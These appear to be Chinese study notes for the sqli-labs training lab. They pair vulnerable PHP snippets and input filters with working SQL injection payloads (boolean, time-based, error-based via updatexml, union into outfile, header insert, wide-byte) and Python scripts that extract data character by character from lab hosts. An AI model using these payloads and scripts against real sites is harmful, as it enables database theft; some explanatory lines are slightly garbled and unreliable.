echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];（回显信息显示）

echo 'You are in...........';（无回显信息返回）

k=1
j=0
a=""
while True:
    for i in range(32,126):
        url="http://172.17.135.42:8082/sqli-labs-master/Less-6/?id=1\" and ascii(substr((select column_name from information_schema.columns where table_name=\"users\" limit {},1 ),{},1))={}--+".format(j,k,i)
        res=requests.get(url)
        # print(url)
        if "You" in res.text:
            a+=chr(i)
            k+=1
            break
        if i ==125:
            print(a)
            j=j+1
            k=1
            a=""

(select table_name from information_schema.tables where table_schema=database() limit {},1 )

echo 'You are in...........';（不显示回显信息）

echo 'You have an error in your SQL syntax';
//print_r(mysql_error());（不显示具体错误）

id=1')) and (select count(*) from mysql.user)>0 --+（测试读取权限，返回正常则可读取）

id=-1')) union select 1,2,database() into outfile "D:/phpstudy_pro/WWW/sqli-labs-master/Less-7/1.txt"--+

if($row)
{
    echo '<font size="5" color="#FFFF00">';    
    echo 'You are in...........';
    echo "<br>";
    echo "</font>";
    }
else 
{

echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';

?id=1' and sleep(5)--+  ---->SELECT * FROM users WHERE id='1' and sleep(5)  -- LIMIT 0,1 （延迟5秒）

?id=1 and sleep(5)--+  ---->SELECT * FROM users WHERE id='1' （不延迟）

if(a,b,c) （如果a语句为真，执行b，a语句为假，执行b）

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    $uname=$_POST['uname'];
    $passwd=$_POST['passwd'];

?id=1' or 1=1#
--->SELECT username, password FROM users WHERE username='1' or 1=1 #'  and password='$passwd' LIMIT 0,1 ---> SELECT username, password FROM users  
（?id=1' or 1=1#为永真条件）

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

//echo "<br>";
//echo 'Your Password:' .$row['password'];
//echo "<br>";        （无回显信息）

echo '<img src="../images/flag.jpg"   />';
echo '<img src="../images/slap.jpg"   />';（对错显示不同的照片，可做布尔判定条件）

url="http://172.17.135.76:8082/sqli-labs-master/Less-13/"
data={'uname':"1') or ascii(substr((select username from users limit {},1 ),{},1))={}#.format(j,k,i),'passwd':"1",'submit'='Submit'}
res=requests.post(url=url,data=data) （post传参代码，submit可省去）

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';

//print_r(mysql_error());（无详细报错）
echo '<img src="../images/slap.jpg"   />';
echo '<img src="../images/flag.jpg"  />';

updatexml(xml_target,xpath_expr,new_xml)

基本格式：... and updatexml(1,concat(0x7e,执行语句)，1)

extractvalue(xml,value)

基本格式：... and extractvalue(1,concat(0x7e,执行语句))

get_magic_quotes_gpc()   判断magic_quotes_gpc是否打开
stripslashes()           删去转义反斜杠
ctype_digit()            判断字符串是否为十进制数字
mysql_real_escape_string() 特殊字符转义

爆数据表：
uname=Dhakkan&passwd=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)#

爆数据：（不能使用concat？,所以引入派生表）
uname=Dhakkan&passwd=1'and updatexml(1,concat(0x7e,(select * from (select concat_ws('#',username,password) from users limit 0,1)a)),1)#（派生表）

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);（对数据进行过滤）

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
-->$insert="INSERT INTO 'security'.'uagents' ('' or updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1) or '', `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);（过滤注释符号）

$username= $_SESSION["username"];

$id= preg_replace('/or/i',"", $id);      
$id= preg_replace('/AND/i',"", $id);（过滤or,and)(/i 不区分大小写)

//print_r(mysql_error());

$id= preg_replace('/[\/\*]/',"", $id);     (过滤\*)
$id= preg_replace('/[--]/',"", $id);       (过滤--)
$id= preg_replace('/[#]/',"", $id);        (过滤#)
$id= preg_replace('/[\s]/',"", $id);       (过滤空格)
$id= preg_replace('/[\/\\\\]/',"", $id);   (过滤/\)(\/匹配/，\\\\匹配\)

$id= preg_replace('/select/m',"", $id);     (过滤select严格模式，即无法使用双写进行绕过)

$id= preg_replace('/union\s+select/i',"", $id);  (过滤union select，不单独过滤union和select)

/^\d+$/   （匹配纯数字字段，^匹配字符串开头，\d匹配数字字符，+匹配前面元素多次，$匹配字符串结尾）
explode(separator,string)   （separator规定在哪分割字符串，string要分割的字符串）

function java_implimentation($query_string)
{
    $q_s = $query_string;
    $qs_array= explode("&",$q_s);


    foreach($qs_array as $key => $value)
    {
       $val=substr($value,0,2);
       if($val=="id")
       {
          $id_value=substr($value,3,30); 
          return $id_value;
          echo "<br>";
          break;

$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);         (\ 转换为 \\)
$string = preg_replace('/\'/i', '\\\'', $string);  (将 ' 转为\')
$string = preg_replace('/\"/', "\\\"", $string);   (将 " 转为\")

mysql_query("SET NAMES gbk")     （当数据库的编码为GBK，可以使用宽字节注入）

?id=-1%aa%27 union select 1,2,database()--+

$string= addslashes($string)   （对预定义字符前添加反斜杠）

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

$string= mysql_real_escape_string($string)

mysqli_multi_query() 执行多条sql语句
mysql_query()        执行单条sql语句